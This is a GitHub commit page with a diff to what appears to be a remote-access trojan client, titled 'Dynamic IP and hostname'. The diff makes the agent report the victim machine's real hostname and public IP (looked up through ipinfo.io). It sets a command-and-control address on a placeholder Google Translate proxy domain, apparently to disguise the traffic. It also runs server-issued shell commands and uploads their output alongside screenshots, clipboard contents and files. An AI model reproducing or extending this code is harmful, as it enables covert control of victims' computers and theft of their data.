Skip to content

Commit

Permalink
Dynamic IP and hostname
Browse files Browse the repository at this point in the history
  • Loading branch information
Gakamine committed Feb 15, 2023
1 parent e031de0 commit 962a975
Show file tree
Hide file tree
Showing 2 changed files with 20 additions and 6 deletions.
12 changes: 6 additions & 6 deletions main.py
Original file line number Diff line number Diff line change
@@ -1,13 +1,13 @@
from src import upload,screenshot,clipboard,files,command
from src import upload,screenshot,clipboard,files,command,get_ip
from bs4 import BeautifulSoup
import socket
import random, string
import requests
import time

HOSTNAME="USER-PC"
IP="192.168.1.1"
# BASE_URL = "https://your-domain.translate.goog"
BASE_URL = "http://127.0.0.1:8000"
HOSTNAME=socket.gethostname()
IP=get_ip.get()
BASE_URL = "https://your-domain.translate.goog"

def random_string(length):
letters=string.ascii_lowercase
Expand All @@ -34,7 +34,7 @@ def random_string(length):
if filetype == "":
filetype="FILE"
upload.upload_data(BASE_URL,HOSTNAME,IP,filetype,data,md5)
elif len(action)>0:
elif len(args[0])>0:
data=command.execute_cmd(args)
if data!="":
upload.upload_data(BASE_URL,HOSTNAME,IP,"Command",data)
Expand Down
14 changes: 14 additions & 0 deletions src/get_ip.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
import requests
import json

def get():
endpoint = 'https://ipinfo.io/json'
response = requests.get(endpoint, verify = True)

if response.status_code != 200:
return 'Status:', response.status_code, 'Problem with the request. Exiting.'
exit()

data = response.json()

return data['ip']

0 comments on commit 962a975

Please sign in to comment.